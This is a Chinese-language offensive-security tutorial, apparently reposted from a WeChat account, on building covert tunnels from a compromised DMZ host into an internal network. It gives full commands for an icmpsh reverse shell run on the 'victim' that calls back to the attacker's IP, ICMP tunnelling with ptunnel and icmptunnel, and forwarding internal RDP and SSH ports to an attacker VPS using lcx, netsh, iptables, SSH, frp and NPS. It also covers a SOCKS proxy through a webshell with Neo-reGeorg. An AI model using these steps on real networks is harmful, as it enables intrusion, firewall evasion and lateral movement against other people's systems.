内网基础-隐藏通信隧道技术

admin 2021年6月26日08:37:29评论125 views字数 5276阅读17分35秒阅读模式
内网基础-隐藏通信隧道技术

点击蓝字关注我哦


内网基础-隐藏通信隧道技术
1.前言

        当我们在外网打下一个点,通过arp,netstat,以及ifconifg(ipconfig)等信息收集,发现此点为dmz,可通内网,那么这时候我们需要在此点上搭建通向内网的隧道,为内网渗透打下坚实基础。


2. 常用隧道分类

根据不同层的网络协议,大致分为以下几种常用的隧道:

2.1 应用层
  • ssh隧道

  • http(https)隧道

  • dns隧道

2.2 传输层
  • tcp隧道

  • udp隧道

  • 常规端口转发

2.3 网络层
  • Ipv6隧道

  • icmp隧道

  • gre隧道


3.判断哪些流量能出网

        拿到一个点,并不是一上来就frp,frp虽然稳定,但是遇到一些特殊情况也不是很好用,如果遇到web服务器是通过端口映射出来的,本身主机不出网,这时候就得用webshell代理流量,当然还有一种,需要通过特定代理的服务器才能出网,这时候可以做浏览器的信息收集,这种情况外网资产扫端口也可以见,nmap扫出来的服务为sockets或者proxy服务什么的。

综合判断几种协议的出网情况

3.1 icmp协议

ping 命令

3.2 Http协议

linux:

  • wget 命令

  • curl 命令

Windows:

  • telnet

  • 浏览器

3.3 dns协议:

指向外网的vps作为dns服务器解析域名

Windows

Nslookup baidu.com vps

Linux

dig@vps Baidu.com


4.搭建隧道实战


4.1 搭建ipv6隧道

前提:支持ipv6,通过ipconfig(ifconfig)看有没有ipv6的地址

特点:过安全设备,防火墙奇效

原理:把ipv6协议封装数据包后继续用ipv4封装,本质在网络中传输还是ipv4,一些安全设备和防火墙不支持ipv6,所以就算拿到了进行分析也解不了包。

这里我以6tunnel为例:

github:https://github.com/wojtekka/6tunnel

gcc编译


内网基础-隐藏通信隧道技术

端口转发:

命令:

./6tunnel -4 80 需要转发的ipv6%eth0 80#将ipv6地址80端口转发到本地ipv4来,你也可以换成-6


内网基础-隐藏通信隧道技术


注意:ipv6隧道可以从ipv6地址到ipv6地址,也可以从ipv4地址到ipv6地址,但不能从ipv6到ipv4。如果从本机的ipv6地址到目标机的ipv4,测试抓到的包是ipv4的包,并不会对数据包进行ipv6封装,%是制定网卡


访问ipv6地址时需指定网卡,例如http://[fe80::xxxx:xxxx%eth0],或者curl -6 -g --interface eth0 "http://[fe80::20c:29ff:fe0f:57ba]:80" -vvv



4.2 搭建icmp隧道

前提:防火墙waf有允许icmp包文通过,关闭系统icmp自动答复,安装python-impacket

特点:简单,实用

原理:将tcp/udp 数据封装到icmp的ping数据包中,从而建立通信

github:https://github.com/bdamele/icmpsh
反弹shell:

关闭本地的icmp应答:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

本地主机监听:

python icmpsh_m.py 192.168.75.131(本地ip) 192.168.75.132(受害者ip)

内网基础-隐藏通信隧道技术

在受害者主机运行:

icmpsh.exe -t 192.168.75.131(攻击者)
端口转发:

使用的是:ptunnel kali自带

需要安装一些依赖库

libpcap环境libpcap依赖库wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz

在攻击vps上执行:

ptunnel -p 182.17.13.17(跳板机外网ip) -lp 8888 -da 10.10.10.18(内网需要转发端口的ip) -dp 3389 -x Gamma

在跳板机上执行:

ptunnel -x Gamma

内网10.10.10.18 3389端口就被转发到攻击vps的8888端口了



4.3 icmp隧道搭建

安装icmptunnel

git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnelmake

客户端和服务器需同时禁用icmp答复

sysctl -w net.ipv4.icmp_echo_ignore_all=1

这里攻击者为服务端,受害者为客户端

服务端配置:

./icmptunnel -s#以服务端启动/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 #配置一个ip

客户端配置:

./icmptunnel 192.168.75.131(服务端ip)/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 #配置一个ip

那么就可以隧道进行通信了


4.4 tcp端口转发

windows:

工具:lcx.exe netsh .........

把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口

lcx.exe -slave 公网ip 8888 内网ip 3389

本地搭建端口之间的隧道

lcx.exe –listen 8888 3389#本地3389和8888端口进行连接

netsh仅支持TCP协议, 适用于双网卡服务器

#查看现有规则netsh interface portproxy show all
#添加转发规则netsh interface portproxy set v4tov4 listenaddress=外网IP listenport=6666 connectaddress=内网IP connectport=3389#删除转发规则netsh interface portproxy delete v4tov4 listenport=6666
#xp需要安装ipv6netsh interface ipv6 install

连接外网6666端口,就是连接到内网目标上面的3389。


linux:

./portmap -m 2 -p1 4444 -h2 公网主机ip -p2 3389

将4444端口的流量转发到3389端口

./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 4444#内网主机执行

把内网的22端口转发到外网的3389端口 

linux iptables使用:

vi /etc/sysctl.conf  net.ipv4.ip_forward = 1#开启IP转发
#关闭服务service iptables stop
#需要访问的内网地址:10.1.1.11(Windows)#内网边界web服务器:192.168.100.100(Linux)
iptables -t nat -A PREROUTING --dst 192.168.100.100 -p tcp --dport 3389 -j DNAT--to-destination 10.1.1.11:3389iptables -t nat -A POSTROUTING --dst 10.1.1.11 -p tcp --dport 3389 -j SNAT --to-source 192.168.100.100
#保存重启服务service iptables save && service iptables start


4.5 webshell代理工具

配合Webshell,复用目标的Web服务端口开一个Socks5代理隧道。

https://github.com/L-codes/Neo-reGeorg

#生成服务端python3 neoreg.py generate -k password  
#在本地建立Socks5代理python3 neoreg.py -k password -u http://xx/tunnel.php

还可以用作端口转发,把webshell所在主机的端口转发到本地(不出网的情况很好用),请自行探索


4.6 ssh隧道

SSH一般是允许通过防火墙的,而且传输过程是加密的

本地转发(正向)

在中传VPS上执行以下命令

ssh -CfNg -L <VPS监听端口>:<目标内网IP>:<目标端口> root@目标外网Web服务器(会要求输入密码)
ssh -CfNg -L 8080:10.1.1.3:3389 [email protected]
#VPS上查看8090端口是否已经连接netstat -tulnp | grep "8090"
#连接目标内网服务器的远程桌面VPS-IP:8090

远程转发(反向)

在Web服务器上执行如下命令

ssh -CfNg -R <VPS的端口>:<目标内网IP>:<目标端口> root@VPS-IP(会要求输入密码)ssh -CfNg -R 8090:10.1.1.3:3389 [email protected]

访问VPS的8090端口,即可连接内网数据库服务器的3389


4.7 Frp搭建隧道:

github:https://github.com/fatedier/frp

简单地说,frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务,它支持HTTP、TCP、UDP等众多协议。

端口转发:

服务端配置文件frps.init:

[common]bind_port = 7000token = server_pass

客户端配置文件:

[common]server_addr = x.x.x.xserver_port = 7000token = server_pass[rdp]type = tcp #流量类型local_ip = 内网ip     # 局域网地址,可以是非本机ip       local_port = 3389#要转发的端口remote_port = 7001#远程端口plugin =socks5

访问vps 7001 则访问内网3389端口

启动的话就一个服务器./frps -c frps.ini 一个客户端./frpc -c frpc.ini

socks5代理更简单了:

客户端配置:

[common]server_addr = x.x.x.xserver_port = 7000token = server_pass[socks_proxy]type = tcp #流量类型remote_port = 7001#远程端口plugin =socks5


4.8 搭建NPS隧道:

frp不行,又不会改流量特征,可以用用nps

使用步骤:

开启服务端,假如公网服务器ip为1.1.1.1,配置文件中bridge_port为8024,配置文件中web_port为8080

访问1.1.1.1:8080

在客户端管理中创建一个客户端,记录下验证密钥

内网客户端运行(windows使用cmd运行加.exe)

1、下载nps服务端到自己的VPS(https://ehang-io.github.io/nps)

chmod +x npssudo ./nps install  #安装

2.修改配置文件(敏感信息改掉/etc/nps/conf/nps.conf,原本的配置文件挺长的,运行反而会报错,直接替换成以下的文件

appname = nps#Boot mode(dev|pro)runmode = dev
##bridge# 底层通信协议,默认tcp,可选用kcpbridge_type=tcp# 底层通信端口,默认8024,如已被占用请指定其他端口bridge_port=8024bridge_ip=0.0.0.0
# 当客户端以配置文件模式启动时会用到的验证密钥,可自行设置,本教程不会使用到public_vkey=<你的通信密钥>
#webweb_host=<服务器IP或域名>web_username=<设置用户名>web_password=<设置密码>web_port = <网页面板端口>web_ip=0.0.0.0

3.开启服务端

sudo nps start    #启动sudo nps stop    #停止sudo nps reload    #服务端配置文件重载


4.访问vpsip s:8080,在客户端管理中创建一个客户端,记录下验证密钥(也可以不设置,则会默认生成)

选择客户端通过配置文件连接为否,不然可能会配置冲突,点击新增,新增成功

内网基础-隐藏通信隧道技术

可以直接看到客户端启动命令可以直接复制。

内网基础-隐藏通信隧道技术

下载对应的客户端,因为我这里下载的服务端为linux_amd64,则下载windows_amd64

内网基础-隐藏通信隧道技术

运行命令可以看到连接成功。

web界面也可以看到主机上线

内网基础-隐藏通信隧道技术

下一步就能对客户端进行操作了:

直接点击隧道选项,对该客户端进行操作……

内网基础-隐藏通信隧道技术

非常的好用嗷!

当然小众的一些代理工具会更好用,给自己立个flag,自己开发一个代理工具


内网基础-隐藏通信隧道技术

END

内网基础-隐藏通信隧道技术


内网基础-隐藏通信隧道技术


看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!
内网基础-隐藏通信隧道技术

内网基础-隐藏通信隧道技术
内网基础-隐藏通信隧道技术
内网基础-隐藏通信隧道技术
扫码关注我们
内网基础-隐藏通信隧道技术


扫码领hacker资料,常用工具,以及各种福利


内网基础-隐藏通信隧道技术

转载是一种动力 分享是一种美德

   



本文始发于微信公众号(Gamma实验室):内网基础-隐藏通信隧道技术

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年6月26日08:37:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网基础-隐藏通信隧道技术https://cn-sec.com/archives/293627.html

发表评论

匿名网友 填写信息